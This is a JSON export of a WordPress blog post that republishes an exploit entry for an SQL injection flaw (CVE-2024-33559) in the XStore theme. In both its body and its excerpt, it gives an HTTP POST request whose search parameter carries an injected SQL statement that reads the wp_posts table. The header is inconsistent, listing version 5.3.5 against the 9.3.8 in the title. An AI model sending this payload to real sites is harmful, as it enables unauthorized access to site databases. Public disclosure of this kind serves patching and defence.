{"id":56939,"date":"2024-05-20T19:40:10","date_gmt":"2024-05-20T15:40:10","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178633\/wpxstore938-sql.txt"},"modified":"2024-05-20T19:40:10","modified_gmt":"2024-05-20T15:40:10","slug":"wordpress-xstore-theme-9-3-8-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-xstore-theme-9-3-8-sql-injection\/","title":{"rendered":"WordPress XStore Theme 9.3.8 SQL Injection"},"content":{"rendered":"<pre readability=\"11.5\"><code readability=\"17\"># Exploit Title: Wordpress Theme XStore 9.3.8 - SQLi<br># Google Dork: N\/A<br># Date: 2024-05-16<br># Exploit Author: [Abdualhadi khalifa (https:\/\/twitter.com\/absholi_ly)<br># Version: 5.3.5<br># Tested on: Windows10<br># CVE: CVE-2024-33559<p>Poc<br>&lt;https:\/\/github.com\/absholi7ly\/WordPress-XStore-theme-SQL-Injection#poc&gt;<\/p><p>POST \/?s=%27%3B+SELECT+*+FROM+wp_posts%3B+-- HTTP\/1.1<br>Host: example.com<br>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)<br>AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36<br>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9<br>Accept-Encoding: gzip, deflate<br>Accept-Language: en-US,en;q=0.9<br>Connection: keep-alive<br>Upgrade-Insecure-Requests: 1<\/p><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Wordpress Theme XStore 9.3.8 &#8211; SQLi# Google Dork: N\/A# Date: 2024-05-16# Exploit Author: [Abdualhadi khalifa (https:\/\/twitter.com\/absholi_ly)# Version: 5.3.5# Tested on: Windows10# CVE: CVE-2024-33559Poc&lt;https:\/\/github.com\/absholi7ly\/WordPress-XStore-theme-SQL-Injection#poc&gt;POST \/?s=%27%3B+SELECT+*+FROM+wp_posts%3B+&#8211; HTTP\/1.1Host: example.comUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Connection: keep-aliveUpgrade-Insecure-Requests: 1<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56939","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56939","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56939"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56939\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56939"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56939"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56939"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}